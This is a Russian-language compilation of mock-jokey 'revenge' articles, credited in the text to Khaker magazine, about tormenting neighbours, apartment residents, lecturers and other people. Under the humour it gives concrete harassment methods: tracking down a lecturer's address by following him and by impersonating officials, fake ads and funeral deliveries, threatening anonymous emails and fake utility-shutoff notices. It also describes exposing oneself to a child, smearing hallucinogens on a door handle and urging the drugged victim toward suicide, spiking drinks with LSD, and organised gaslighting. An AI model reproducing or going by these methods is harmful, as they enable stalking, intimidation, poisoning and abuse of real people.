Ты перепрыгнул через забор (ну, или перевалился) и оказался непосредственно на вражеской территории. Здесь присутствует множество объектов, над которыми стоит поработать. Добавить ряд элементов дизайна, приукрасить и облагородить. Начнем по порядку, рассмотрим каждый объект в отдельности и методы его преображения.
Грядки
Там сосед выращивает всякие сельскохозяйственные культуры. Клубничку, укропчик всякий, картошку и прочую ботву. Вот с культур-то этих мы и начнем. Для начала достанем красной краски и аккуратно покрасим всю клубнику в красный цвет. Неважно, зрелая клубника или незрелая: красим, и все тут. Пусть сосед порадуется хорошему урожаю. Что тут у нас? Укроп? Замечательно, красим в желтый цвет, перезрел укроп уже. Далее взгляд падает на картошку. Хочу заметить, что картошка достаточно легко выкапывается и закапывается обратно. Так вот, аккуратно выкапываем ее (лопатку саперную захватил?), красим клубни в яркий оранжевый цвет и покрываем синими пятнышками. Пусть думает, что новый сорт вывел. Если неохота выкапывать, можно проделать то же самое с листьями. Также стоит добавить ряд новых культур (точнее, возвести ряд простых растений в ранг сельскохозяйственных). Где-то ближе к лесу у тебя должно обязательно расти одно растение, которое мы в детстве называли "бамбук" - дикий ревень. Он и вправду на молодой бамбук очень похож. Ну так что - нашел? Отлично - выдергивай его скорей (и не одно, а несколько штук, так как растет эта зараза большими колониями) и тащи к соседу на участок. Теперь можно вкопать его среди хоть той же клубники. Пусть сосед задумается - то ли новый тропический сорт клубники вырос, то ли пора пройти обследование у психиатра (ну, о втором он еще не раз подумает после того как с тобой связался). Вроде с грядками закончили, едем дальше.
Курятник
Замечательное место, где сосед держит всякую живность. И не только одних кур, а еще, может, и кроликов, коз, свиней - да, в общем, кого угодно он там держать может (только если сосед живет рядом с прудом или иным водоемом - убедись, что у него нет крокодилов). Проникаем в данное строение и натыкаемся на представителей животного мира. Сначала куры. Берем черную и зеленую краски, излавливаем пару кур и стильно красим их в расцветку "камуфляж". Для маскировки. Плюс - проводим рад полосок на каждой курице фосфоресцирующей краской. Далее берем яйца и раскрашиваем их так же, как и кур. Плюс - ставим точечки все той же светящейся краской. Открывает сосед холодильник, а у него там яйца светятся (в смысле - в холодильнике). Хочу только заметить, что курицы имеют обыкновение громко кудахтать, поэтому постарайся найти с ними общий язык. Далее - кролики. Перекрашиваем черных особей в ослепительно белый цвет с черными полосками (ну чем не зебры? Всем зебры!), а белых - в ярко-красный с зелеными полосками (тропические кролики, близкие родственники гусениц). Коз раскрашивай так, как тебе фантазия позволит (я бы опять же закамуфлировал их, чтобы в лесу сложнее найти было). Свиней и коров трогать не стоит - мало ли чего. Но если ты парень смелый, то разрисуй хрюшек всякими каббалистическими узорами, а корове покрась вымя в ядовито-зеленый, чтобы вечерняя дойка превратилась в фантастический боевик.
Сарай
Склад различного инвентаря. Если удалось туда забраться, то связывай вместе веревкой все лопаты, грабли и прочую утварь - так будет сложнее достать необходимое.
Зверинец
Для привлечения живых организмов на соседскую территорию надо побрызгать валерьянкой кусты, прилегающие к окнам соседского дома, и полить водой, подслащенной сахаром, все стратегически важные участки соседского сада (ручки дверей, калитки, краны, скамейки). Ошалевшие коты и рои всяческих насекомых обеспечены.
Прочие элементы дизайна
Найди свободный участок сада - желательно где-нибудь на видном месте - и сооруди там пирамиду из камней: чем больше, тем лучше. В каждое образовавшееся отверстие между камнями засунь по зажженной сигарете (приклей сигареты, чтобы держались). Смотрится очень стильно. Развесь на деревьях размотанные куски туалетной бумаги. Никакого вреда, но опять же стильно и, в придачу, очень раздражает.
Во саду ли, в огороде
Ну вот, в принципе, и все. Посмотри, как прекрасен стал соседский сад теперь! Из невзрачного участка местности он превратился в настоящее произведение искусства. Куда ни глянь - везде глаз радуют буйство красок и разнообразие образов. Сосед тебе еще спасибо скажет, я уверен. Как знать, может быть это были твои первые шаги на поприще ландшафтного дизайна. Удачи тебе!
Как довести до белого каленья целый многоквартирный дом
Здравствуй, мой маленький любитель подлостей! Сегодня я научу тебя, как довести до белого каленья целый многоквартирный дом. Итак, возьми в ручки бумажку и маркер...
Объяву мы с тобой пишем, значит. Она должна быть выдержана в официальных тонах. Чем больше бюрократизмов, типа “каковой”, “в соответствии с приказом”, “сего года”, “санитарно-эпидемиологическое состояние”, етс - тем лучше. Неплохо бы где-нибудь заиметь печать и шлепнуть на объяву для убедительности. Еще нужна роспись позаковыристее. Текст следующий: “В связи с аварийным состоянием теплосети Хрензнаеткаковского района в соответствии с приказом префекта ЮСЗВАО №123456-СЮ “О принятии экстренных мер по предотвращению угрозы разрушения теплосети г. Москвы” от 00.00.Y2K с 01.02.2000 г. по 10.02.2000 г. будет отключено водоснабжение, с 01.02.2000 г. по 05.02.2000 г. будет отключено газоснабжение, (ну и чтоб жизнь медом не казалась) с 01.02.2000 г. по 03.02.2000 г. будет отключено энергоснабжение”. Вода, значит, энергия, почта и телеграф. Предлогов, кстати, масса: попадание в систему водоснабжения гибрида сифилиса и бубонной чумы, нашествие радиоактивных крыс и тараканов, прилет инопланетян.
Теперь поставь себя на место подопытных. Слабо провести по крайней мере 3 дня без воды, ванны, еды, телевизора и КОМПЬЮТЕРА? Панику гарантирую. Реакция подопытных варьируется от “Да не! Не может быть! Ерунда какая-то!.. Налью-ка я водички в ванную... и вообще во все, что с дном” до “А-а-а!!! Вовочка, Танечка, быстрее собирайтесь! Мы едем к бабушке!”. Отъезжающие машины, обсуждение проблемы у подъездов и на лестничных площадках, звонки местной администрации, а сверху за всем этим, подобно Наполеону, наблюдает наш гордый Хакер.
Замечание: эффект будет больше и продержится дольше, если обклеить весь район.
Как довести препода
Здравствуй, разлюбезный коллега троечник! Почему я сразу сообразил, что ты - это он? Вернее: он - это ты? Да потому, что у любого другого название этой статьи вызвало бы приступ отхаркивающей икоты, и он сразу бы пролистал журнал дальше в поисках мегатонн ссылок на порносайты, или руководства по борьбе с мухорчатыми сусликами. Скажи: и тебе не обидно, что ты не сможешь вот сейчас присоединиться к этим счастливчикам, а вынужден будешь читать про западлянки для своего личного врага - институтского препода? Не обидно? Ну, вот и ладушки.
Сбор информации
С чего начать? - спросишь ты. Конечно, со сбора информации! О враге надо знать всё - начиная от размера ботинок и заканчивая объемом бюста его жены. Ну, или по крайней мере (на случай, если ты не можешь измерить бюст жены собственноручно), надо знать:
-телефон препода
-его домашний адрес
-электронную почту (если имеется)
Самым неизобретательный способ узнать домашний адрес - просто тихонько проследить за дорогой жертвы, желательно в компании - вдвоем или больше, перебежками и сменами маршрутов ведения объекта. Второй способ более весел, но рискован опять же. Адрес можно получить, придя в институтскую кассу, представившись работником фонда соцзащиты, и рассказав, что явился получить домашние координаты и заверенный список степеней и регалий нескольких преподавателей для выписки на их имя специальной доцентской надбавки. Услышав такое, в кассе наверняка испугаются, что придется еще заверять какие - то списки, и дадут вожделенный адресок. Ну и, наконец, последний, самый безбашенный способ, к которому советуется привлечь какого - нибудь левого другана, желательно не из института вообще. Итак, наглой походкой он приперается на родную кафедру нашей жертвы и спрашивает: "Ну, где здесь Николай Николаич Окороков?", а ему: "А его нет!" (момент, естественно, рассчитан). Тогда он: "Не, ну е - мое, я за ним уже две недели бегаю, все никак не поймаю, у меня тут диплом горит, а он помочь хотел, блин... Может у вас хоть телефончик его есть?"
Конечно есть! Этот способ не прогорал еще никогда! Как по телефончику вычислить домашний адрес, я думаю, ты поймешь сам, но уж для совсем забитых городов, где не выпускают "расширенного телефонного справочника", есть крайний способ - позвонить на АТС (обычно ее номер, есть первые две или три цифры в номере телефона), и, представившись оперуполномоченным полковником Гоблином, сказать, что давно ловите злостного алиментщика, а единственная зацепка - этот телефон...
Узнав адрес и телефон препода, надо приступать к выяснению адреса его электронной почты, если таковая имеется - пригодится. So, простое правило для большинства институтов: рабочее мыло каждого препода включает в себя его фамилию с одной стороны, и имя домена института/институтского провайдера с другой. Например, если институский сервер находится по адресу www.smgu.superprovider.ru, а фамилия подопытного "Окороков", то с вероятностью в 90% его адрес будет okorokov@smgu.superprovider.ru. Почему 90%? Потому что есть еще 10% шанс, что в институте найдется еще один человек с фамилией Окороков, в таком случае, все решает только социальное положение каждого из них. Если наш Окорок профессор или еще, не дай бог, зав. чего - нибудь, то 100%, что okorokov@smgu.superprovider.ru принадлежит ему. Если он моллюск помельче, то больше чем nokorokov@smgu.superprovider.ru (где n - первая буква его имени) ему не видать.
Джэнтельмэн, старт уйор энджинес!
Добыв информацию, можно приниматься за дело. Начинать надо с того, чтобы постылый препод занервничал. Чтобы по ночам он вскакивал с мокрой подушки и запивал водку валидолом. Чтобы он выходил из собственного подъезда пригнувшись, а переходил дорогу только нервно поглядывая по сторонам.
"Так це ж елимтарно! Подстеречь его в темном проулке и навешать баранок на ухи," - скажет какой-нибудь далекий провинциальный читатель из поселка Пятихатка и, как нередко случается, окажется не прав. Во-первых, потому, что в моей личной практике уже существует прецедент с невзрачным доцентом, который лихо порвал йенги трем мордоворотам - третьекурсникам, на поверку оказавшись каким - то там чемпом по вольной борьбе. Ну, а во - вторых, потому как методы эти кроме озверения и тотальной злобы подопытному нашему ни фига не прививают. А тебе что нужно - помнишь? Тогда поехали:
Free For All, или бесплатные обеды
Итак, стоит купить пару-тройку газет бесплатных объявлений с купонами и заполнить их по следующим образцам:
ФИО: <имя жертвы, Николай Николаевич Окороков>
Паспортные данные: <пиши любую лабуду, ее все равно никто проверять не будет>
Контакный адрес, телефон: <координаты жертвы, ул. Победы Расизма, 66-66>
Текст объявления: "Бесплатные благотворительные обеды. Обращаться после 17:00, спросить Николая Николаевича"
Или так:
"Организация отдыха и досуга. Бар, бильярд, сауна, массаж. Круглосуточно"
Или просто:
"Дешевый сахар для пенсионеров" (пенсионеры, как известно, люди въедливые, и пока не разберутся "почему здесь у вас нет сахара, а телефон в газете есть" - не отстанут).
Короче, использовать можешь любой из вариантов, а лучше сразу все три, если хочешь довести своего подопечного до белого каления в любое время суток. Днем - желающими на халяву подкрепиться, ночью - желающими как-то там усладиться, а утром - желающими расслабленно попить чайку с сахаром. Фантазируй на здоровье!
И похороны здесь тоже бесплатные
Хотя... Все вышеописанное есть только мелкие шалости, однозначно. От крупных шалостей, бывало, серьезно пошатывалась нервная система у самых непробиваемых господ, а по левым непроверенным данным, давным-давно от нижеследующей милой шуточки одно воронежского буквоеда схватил вполне нешуточный удар. Но это так, издержки производства.
So be it, организация профессорских похорон. Загляни в какое-нибудь местное похоронное бюро (или поищи их рекламу в газетах бесплатных объявлений), и закажи именной венок с надписью "безвременно ушедшему от нас Николай Николаичу от коллег и сослуживцев", или лучше "дорогому Николаю Николаевичу от фонда им. Сореса", (все профессорюги страх, как боятся лишиться соресовской надбавки к пенсии). Изготовленный венок можешь отнести жертве сам (что чревато), или (что лучше, конечно) за дополнительную мзду заказать доставку венка на дом.
Тут стоит сказать, что особо продвинутые "хомо заподлянус" доходили до того, что заказывали на квартиры родным преподавателям гробы. Да-да, обычные такие, фанерные гробы, покупали в складчину, всем потоком, гробик-то, чай, от тридцати баксов стоит. Но он, поверь друг, того стоит! Представляешь, звонок в дверь: "Николай Николаич? Гроб заказывали? Мы привезли...". Убивает наповал, проверено!
Братья Карамазовы, или грузите апельсины бочками
Для тех хуманых хуманистов, кому вышеназванные способы кажутся варварством и излишней тратой лавэ, рекомендуется третий, последний способ, доступный каждой домохозяйке, и - в умелых руках - действеннее предыдущих раза в три.
Итак, психологическое влияние на человека посредством вычисленного тобой е-мыла. В принципе, тот самый засранец из Пятихатки сразу предложит профессорское мыло разбомбить тысячами мессаг, зафлудить спамом и полугодовой подпиской на рассылку новостей с сайта латиноамериканских педерастов. Но все это мура, поверь. Настоящие герои сетевой войны пользуются исключительно методами покойного Остапа Сулеймана-ибн-Мария-Как-Его-Там-Твою-Мать Бендер-Бея Задунайского, который слал подпольному миллионеру телеграммы: "грузите апельсины бочками. Братья Карамазовы" и прочую пропагандистскую чушь, дожидаясь когда пациент-таки занервничает. И ведь занервничал же! Впрочем, книг сейчас все равно никто не читает, поэтому методы стали куда проще. Вот только некоторые варианты:
"Не берите взяток от студентов с татарскими фамилиями"
"Переходя дорогу возле института, не забудь оглянуться по сторонам"
"Остерегайтесь района улиц Барановская-Козлинская, а особенно дома №7"
"Осторожно, Мартин Мягер идет по вашему следу"
"Товарищ, кокаин оказался отменным, ждем продолжения, приходи завтра на Каховку к 18:30"
"Илья Абрамович нервничает, срочно положите завтра 20$ в почтовый ящик по адресу ул. Пионера Морозова, 40"
Каждое из подобных мессаг просто обязано иметь логические продолжения:
"Где ты был, морон, тебя ждали до семи, завтра чтобы был, иначе..."
"Вас просили остерегать района известных вам улиц. Теперь на вас вышел Мартин Мягер"
"Илья Абрамович недоволен, сумма увеличивается до 45$, а срок до пятницы"
"Товарищ, твой кокаин так к нам и не пришел. Завтра жди нас на ул. Победы Расизма, 66-66"
Обычно следующим, что видит жертва глумления после упоминания собственного адреса в тексте анонимного письма, становятся красные круги перед глазами и свет в конце приближающегося тоннеля.
Два слова о предохранении, или защита
Ее нет. Нет, как и не может быть абсолютно крепких нервов, здорового сердца и тотального прекращения вечного глумления над бедными студентами. Мягер сказал свое слово, дружище, теперь дело за тобой и да поможет нам Дарт Вэйдэр... Удачи тебе в глумлении над преподами, перец!
Все вышеприведенные материалы взяты из журнала "Хакер"
Как избавиться от соседей
Еу, нигга! Представь-ка себе следующую ситуацию: приходишь ты домой после насыщенного трудового дня, стелешь приятную мягкую кроватку, ложишься и погружаешься в сладкие грезы. Участки коры головного мозга последовательно отключаются, все проблемы уходят вместе с остатками личности, и ты остаешься наедине с генератором сладострастного тягучего бреда, который обладает тотальнейшим эффектом присутствия. Спа-а-а-ать...
- Привет, Джулия!
- Здравствуй, сладкий. Скучал без меня? Знаю - скучал.
- Ты сегодня одна?
- Нет, что ты. Через пару минут подойдет Бритни, Лориса, Русалочка Ариэль, Джордж Майкл, Мик Джаггер и та школьная учительница из твоих снов пятилетней давности.
- А что это еще за Лориса?
- Крофт... Или Палмер - там разберемся, кого захочешь - та и подойдет. Кстати, а на утро я тебе припасла монаха Сен Ляо из храма Шаолинь. Помнишь ваши веселые приключения в ванной три сна назад?
Джулия Робертс толкает тебя на возникающую вдруг из небытия воздушную кровать и нежно садится сверху. С заговорщицкой полуулыбкой она медленно покрывает поцелуями все твое тело, постепенно сползая все ниже и ниже. И вот уже ее зубки ухватились за молнию на твоей ширинке...
Внезапно в сон врывается Дональд Дак с громкоговорителем и начинает издавать жуткие сиреноподобные звуки. И вдруг ты понимаешь, что это совсем не Дональд трубит, а просто сработала противоугонная система соседской машины. Кора головного мозга растормаживается, сознание возвращается к действительности, а всю твою сущность переполняет единственное желание - кинуть в окно противотанковую гранату. Но вот сирена отключается, и Джулия опять приступает к своему чудесному занятию. Однако через несколько минут грезогенератор вновь отрубается по вине доносящегося из-за стены громкого собачьего лая и равномерного поскуливания. Около получаса ты вслушиваешься в эти звуки и теряешься в догадках, что же такое вытворяют хозяева со своим питомцем. Затем не выдерживаешь - и с чувством несколько раз ударяешь ногой в стену. Собачий вой прекращается. А через пять минут за стенкой вдруг включается еле слышимый моторчик и периодически доносится монотонное тихое постукивание. Ты пытаешься заснуть, однако на фоне мертвой тишины эти странные звуки заполняют твой мозг и усиливаются в десятки раз. Тебе все ясно? От соседей нужно избавляться! НЕМЕДЛЕННО!
Хэй, герл! Хэй, бой!
Тебе понадобится помощь всех твоих друзей и подружек: каждую ночь в течение недели или двух необходимо будет устраивать мега-безбашенную вечеринку. В час ночи заряжаешь в музыкальный центр кассету Сектора Газа, закручиваешь все регуляторы громкости на усилке под завязку и разворачиваешь колонки к стене, за которой притаился коварный враг. Через минут десять, когда соседи хорошенько проникнутся концептуальным творчеством этого вокально-инструментального ансамбля, можно будет приступать к следующей фазе нашего дестроя. Отправляйтесь всей толпой в прихожую и красочно ее оформляйте: повсюду должны быть разбросаны в художественном беспорядке пустые бутылки из-под водки, шприцы, горы таблеток, канистры с бензином, мокрые тряпки, тюбики от клея "Момент", использованные презервативы и невменяемые товарищи. Посредине же всей этой инсталляции необходимо разместить человек пять-шесть, которые, раздевшись до основания, будут имитировать (или реально осуществлять - тут уж на любителя) недетскую сексуальную оргию. Также неплохо бы было присобачить под потолок стробоскоп и позаботиться о соответствующем звуковом сопровождении (сладострастные стоны, дикие вопли, скрежет циркулярной пилы, которая кромсает человеческие тела, и т.п.). Вечеринка... у Мэнсона дома...гуляют все торчки и некрофилы района. Когда охреневшие соседи все-таки найдут в себе смелость (Вася, мужчина ты или нет!) заглянуть к вам на огонек с целью выразить свое легкое недовольство происходящим - следует тут же пригласить их присоединяться, а также провести небольшую экскурсию по прихожей (будет очень здорово, если в этот момент кто-нибудь из невменяемых товарищей начнет пускать пену изо рта да и вообще изобразит мучительную смерть в жуткой агонии). Теперь выпроваживай соседей и, не выключая музыку, осуществляй подготовку к третьей и заключительной фазе вашего культурного мероприятия. Какую именно подготовку? А такую именно, чтобы приехавший через десять минут отряд ОМОНа застал в твоей чистой и опрятной квартире милых юношей и девушек, играющих в шахматы под тихие, завораживающие звуки песни "Мы желаем сча-ааа-стья вам, счастья в этом ми-ии-ре большом...".
Оставайся, мальчик, с нами...
Если у соседей есть несовершеннолетняя дочка (или сын: это монопенисуально, на самом деле - в таком случае тебя подружка заменит), то они серьезно попали. Во-первых, раз ты успешно провел описанную выше акцию, то все психологические козыри уже буквально распиханы по твоим карманам. Все, что от тебя требуется, - это на глазах у соседей подойти к их дочке на улице и минут 10-20 оживленно с ней побеседовать. Говорить можешь о чем угодно, хоть анекдоты детсадовские рассказывать. Будь уверен: завтра ее родители переедут в другой город, страну или галактику, потому как назвать тебя "дурной компанией" после вчерашней вечеринки ни у кого язык не поднимется. Это все равно что обозвать проказником Джека-Потрошителя. Если же с вечеринкой у тебя все обломалось - не печалься и не хнычь, мы дадим стране угля! Каждое утро, когда мамочка будет провожать твою новоиспеченную малолетнюю соседку в школу, ты должен непременно присутствовать на лестничной площадке со спущенными штанами и, подглядывая из-за угла, вовсю мастурбировать, пока девушка ждет прихода лифта. Естественно, все это нужно проделывать таким образом, чтобы мама была в курсе твоих нехитрых манипуляций. Кстати, во время этого процесса неплохо было бы напевать какую-нибудь позитивную песенку из тех, что крутят на радио "Русский Шансон". Можешь, например, с хрипотцой и надрывом в голосе шептать в такт движущейся руке: "Мы были этапом... на северной зоне... и ты, малолетка, не ведала зла... та-та-тата-нана-на-на-на". Ну и, конечно, ты просто обязан проводить девушку в школу... передвигаясь, естественно, короткими перебежками от одного дома к другому и сжимая в руках громадный окровавленный тесак.
Кащенко онлайн
Для начала раздевайся догола и цепляй к члену маленький колокольчик, на котором повязан аккуратный синий бантик. Теперь возьми несколько баллончиков с краской дневного свечения различных цветов и сотвори на своей голове тотальнейший оранжево-фиолетово-розовый дестрой. Одень кокетливый беретик, повяжи вокруг шеи изящный платочек а-ля смазливый морячок-педераст и нарисуй на груди жирную черную свастику, из концов которой капает кровь. Ну что еще... по-моему образ создан, хотя нет, все-таки твоему новому стилю слегка не хватает законченности: давай-ка повесь на шею небольшой амулет - искусственный член внушительного размера - и, пожалуй, закапай глаза какими-нибудь расширяющими зрачки каплями. Ну все, теперь ты готов к труду и обороне: отправляйся в этом виде на лестничную площадку и настойчиво стучись в дверь к ненавистным соседям. Когда тебе откроют - начинай, загадочно вращая головой, отрешенно водить взглядом по внутренностям квартиры и на все вопросы или реплики соседа с чувством произноси какую-либо из приведенных ниже фраз:
"Я хочу убивать! Убивать! Убивать! Убивать!"
"Бандиты пронюхали, что мне известна формула абсолютного топлива. Будеттт ттрррудно, Ким, пошлешь Говоррруна."
"Это заговор - меня хочет изнасиловать маленький зеленый слоник Ножиклидабу. Он живет в твоей голове! Дай же скорее мне его вырезать!"
"Алиса... мелафон у меня! Мои мысли теряются в своих собственных смыслах. Соси, детка, cоси!", - после этой фразы необходимо загадочно сунуть себе в рот фаллоимитатор.
"Эни бени харе рама турбо урбо супермен! Зовите меня просто: Мистер Дельтаплан!"
Месть Вуду
Крайне простой в реализации способ, требующий, однако, наличия у тебя всех ингредиентов для приготовления зелья вуду (рыба фугу, галлюциногенные жабы, морской червь и т.д.). Если вся эта отрава у тебя имеется - отлично, смешивай все в нужных пропорциях, руководствуясь пыльными старинными манускриптами. Если же нет - напрягай знакомого безбашенного врача, который снабдит тебя каким-нибудь дешевым, но мощным психотропным зельем. Ну, на крайний случай можешь концентрированный отвар из мухоморов заюзать. Затем, в лучших традициях колдунов вуду, тебе необходимо густо смазать ручку соседской двери этой колдовской дрянью и незаметно прикрепить поверх небольшой кусок колючей проволоки с целью незамедлительного попадания галлюциногенных жаб в кровь, а затем мозг объекта. Когда твой сосед вернется с работы и, схватив ручку двери, тут же вскрикнет и обматерит ублюдских подростков - можешь смело залиться дьявольским хохотом и, потирая мерзкие ручонки, уставиться на часы: тебе теперь необходимо выждать час-полтора. Ок, срок истек, твой сосед теперь находится в помутившемся сознании на грани совместимого с жизнью состояния: смело трезвонь ему в дверь, а когда он ее откроет... Да ты сам знаешь, что делать, когда он ее откроет: расскажи ему о прелестях полета с четырнадцатого этажа; о червях-паразитах, которые живут в глазах; о кухонном топорике, которым очень хорошо размозжить самому себе череп; о... ну чего я тебя вообще учу. На суде же, когда тебе будут выносить смертный приговор, можешь смело заявить: "Он сам виноват - нечего было мне спать не давать!".
Как сделать из человека идиота
Идиоты
Привет тебе, перец! Давай для начала определимся с терминами: те люди, которые сильно достали тебя по жизни, вовсе не обязательно являются идиотами. Скорее, многие из них считают, что знают жизнь лучше тебя, и могут постоянно давать тебе советы. А некоторые - так и просто пытаются заставить тебя жить так, как они считают правильным. Понимаешь, о чем я? Вот-вот. Именно это и надо лечить :-). Один мой знакомый - зовут его доктором Пилюлькиным - очень любит такие вещи. Специализируется на этом, так сказать. Кое-что из его записок попало мне в руки, и сейчас я поделюсь с тобой результатами своего обобщения его опыта.
Материал для работы
Итак, кого имеет доктор в качестве подопытных? Тех, кто изначально пытается поиметь его... Это могут быть учителя, знакомые родителей (самих родителей не трогать - это святое!), уборщица на работе... Все они что-то от него хотят - часто совсем не того, чего хочет он. Поэтому цель лечения проста как семь копеек одной монетой: сделать так, чтобы у них появился серьезный повод переключить свое внимание на себя. А что волнует людей больше всего? Правильно, собственное здоровье. Так что доктор Пилюлькин обычно стремится к тому, чтобы окружающим вдруг резко захотелось подумать о собственном душевном здоровье. Работает он в двух направлениях: во-первых, он может действительно свести человека с ума. Второй вариант - заставить его поверить в то, что он сошел с ума. Результаты практически неразличимы ;-).
Детства моего чистые глазенки
Самый любимый способ Пилюлькина - последовать заветам дедушки Фрейда и заняться человеком в его раннем детстве. Оооо, какой там простор для работы! Можно пугать младенцев пестрыми лентами, лепить из их черепов кувшины или заставлять их беспрерывно сосать леденцы (особенно хорошо действует на маленьких девочек - привычка сохраняется на всю жизнь ;). Но поскольку Доктор Добрянский упорно скрывает от нас свою машину времени (говорит, что боится вообще не родиться), этот способ мы оставим. Наш врач все-таки реалист, и в его записках мне удалось подсмотреть достаточно способов работы с человеком во взрослом возрасте.
Если ты совсем садист
Способ первый, он же самый простой и жестокий. Доктор знакомит человечка со Спец-crew! Неделя работы под руководством Холода, полчаса общения (конечно, если подопытный выдерживает) с Доктором Добрянским про альтернативные источники энергии (для завязывания такого разговора достаточно негромко произнести слово "осциллограф" в присутствии Дока), прослушивание трех моих самых любимых песен - и челу даже не надо вызывать скорую. Он тихо бредет по улице в сторону ближайшей психиатрической больницы, распугивая прохожих тихим смешком и приговаривая: "Ох, и зачем я на свет появилсяЯЯЯЯЯЯ!!!" - периодически срываясь на визг. У этого способа есть один недостаток - дороговизна. Сам понимаешь, обиженных (и, соответственно, обидчиков) много, а нас мало. Зато качество гарантировано! Все, все, завязываю с рекламой и саморекламой - едем дальше.
А что это тут у вас?
Способ номер два используется Пилюлькиным тогда, когда у него есть доступ к телу. Точнее, к одной его части - а именно к черепу. Потому что такая популярная в свое время операция, как лоботомия (вырезание лобных долей мозга), гарантированно превращает человека в овощ. Да, все что он сможет - это лежать и пускать слюни. Его придется подкармливать и поливать... Эх, молодость моя, молодость... Ведь в свое время за изобретение этого метода люди получили Нобелевскую премию - а теперь его запретили. Зря, как мне кажется, - у меня тоже есть пара кандидатов на лоботомию. Еще к неплохим результатам приводит рассечение мозолистого тела - того куска мозга, который связывает между собой оба полушария. На крайний случай доктор любит поковыряться у подопечного в ухе или в носу отверткой - иногда ему удается зацепить какую никакую часть серого вещества. Если же его еще к тому же удается выковырять немножко - результат практически гарантирован. Заодно доктору удается побаловать свою собачку вкусностями.
И тогда наверняка...
Способ номер три - один из любимых у Пилюлькина. Эффект гарантирован, но непредсказуем. Состоит в том, что он подливает/подсыпает челу в еду или в питье галлюциногенные вещества. Судя по его записям, наилучшие результаты получаются при растворении в чае или фанте двух-трех доз ЛСД. Минут через сорок после такого угощения психика подопытного начнет испытывать - скажем так - неслабые перегрузки. Ведь даже люди, употребляющие ЛСД сознательно, не всегда оказываются готовыми к своим переживаниям. Что же говорить про чела, у которого внезапно и без всякой известной ему причины начали перемешиваться цвета окружающего мира, домa начали наползать друг на друга, любимая кошка Мурка вдруг взлетела под потолок и заорала по-тигриному, а звонок телефона превратился в далекий легкий свист закипающего чайника или улетающего навсегда самолета? Самое главное для доктора - вовремя унести ноги: никто не знает, в какого монстра он превратится в представлении подопытного и что он решит взять в руки в качестве любимого плазмагана...
Через некоторое время подопечный обычно приходит в себя - но в дальнейшем он стремится оградить себя от контактов с Пилюлькиным и уж, по крайней мере, не пытается научить его жизни. Но крыша может при этом уехать и намного дальше. Так, некоторое время назад в одном медицинском институте в Питере проводились опыты над ЛСД. Понятно, что знали об этом не все... И так совпало, что примерно в то же время несколько студентов решили отметить чашечкой крепкого кофе сдачу летней сессии в местном буфете (да, мы отмечали сдачу сессии чашкой кофе!). И совершенно случайно в чашку одному из нас попало несколько (буквально пара) миллиграммов этого вещества... Я не видел этого кекса два года. Встретил я его только тогда, когда приехал на экскурсию на Соловки, где тот оказался одним из послушников. Просто после нашего совместного кофепития человека посетило видение о смысле жизни...
Home alone
Перечисленные способы доктора Пилюлькина работают замечательно, и ему при этом даже не нужна помощь окружающих - скорее наоборот: лучше, если они ничего не знают о его планах. Следующие же методы требуют командного духа и сплоченности. Шансы же при этом резко идут вверх...
Ходят сплетни, что не будет больше слухов
Итак, самый простой способ. Его при некоторых усилиях доктору удается реализовать и в одиночку - но требуется намного больше времени. Смысл его - запустить сплетню о том, что у человека не все в порядке с головой. Пилюлькин никогда не говорит ничего определенного, не высказывает своей заинтересованности в этом - наоборот, он утверждает, что, конечно, совсем этому не верит, но вот ходят слухи, что кто-то видел этого человека в каком-то совершенно неадекватном состоянии - или еще как. Главное здесь - не давать никакой определенности - чтобы было невозможно проверить. Через некоторое время человек начнет ловить на себе внимательные изучающие взгляды окружающих - они не дадут ему соскучиться. Если же он начнет нервничать (скажи, а ты бы начал?) и как-то реагировать на эти взгляды - скорее всего, в ответ он будет получать снисходительные улыбки и сочувствие во взорах (мол, да, а мы-то не верили, а вот он и действительно на ровном месте завелся). Чем дольше это будет продолжаться, тем вернее человек будет двигаться к поставленной доком цели. Если же Пилюлькину удается собрать банду человек хотя бы в семь-десять - то достаточно просто объяснить им условия освобождения от общего мучителя. Обычно ему помогают с радостью, и сплетню пускать не приходится...
Потому что мы - банда!
Следующий способ требует еще больших затрат и сплоченности коллектива. Так, в одном институте для этой цели было организовано нечто типа "Кружка юного психолога", в котором якобы за очень большие деньги и по суперсовременным технологиям был сконструирован аппарат для проверки на вменяемость. На самом деле, аппарат представлял собой груду металлолома, опутанную проводами - но при этом в нем что-то звенело и жужжало; а самое главное - был шлем, который надо было надевать на голову, и табло, на котором появлялись какие-то цифры и буковки. Результаты измерений настраивались заранее, как ты понимаешь. И в тот торжественный день, когда аппарат был якобы окончательно настроен и протестирован, на очередном собрании в профкоме доктор Пилюлькин (по совместительству староста группы) предложил опробовать результаты творения на преподавательском составе. Декану пришлось согласиться - не сдерживать же творческий потенциал молодежи...
И в назначенный день преподы потянулись на тестирование - в их числе и любимец доктора... Поскольку результаты настраивались вручную, а цифры и буквы на дисплее интерпретировались с помощью специально отрисованных таблиц, все (почти) преподы получали результаты, довольно близкие к реальности. Все, кроме одного... Ему аппарат сначала выдал неустранимую ошибку (была предусмотрена и такая). Во время второй попытки аппарат жужжал и мигал минут двадцать, после чего выдал данные, не предусмотренные таблицами. Подопечный заволновался... Тут в дверь уже начали заглядывать следующие в общей очереди - и видели его, стоящего с таблицами в руках и с растерянной улыбкой на лице. Результатов, хоть как-то соотносящихся с реальностью, этот препод так и не получил. Добавление же предыдущего метода "сплетни", особенно при активном и добровольном участии остальных преподавателей, сделали свое дело. Еще несколько раз в течение месяца он заглядывал в эту комнату и осторожно интересовался, не разобрались ли все-таки ребята с причиной такой ошибки, потом он перестал спрашивать группу на зачетах (приятно иногда получить оценку на халяву!), а в итоге - поскольку его явно стали сторониться коллеги - он взял отпуск и уехал в санаторий. Больше его ни я, ни доктор Пилюлькин не видели.
В архивах доктора я нашел много способов такого западла. Я думаю, что твоя фантазия подскажет еще много разных вариантов, которыми ты, конечно же, не будешь пользоваться. В заключение - в анналах Пилюлькина я нашел еще одну историю про юного хулигана, который решил упечь в дурку родную бабушку. Повторюсь - никогда не трогай родителей и бабушек с дедушками - это святое! Парень и поплатился за свою ошибку...
Вам гвозди с масличком?
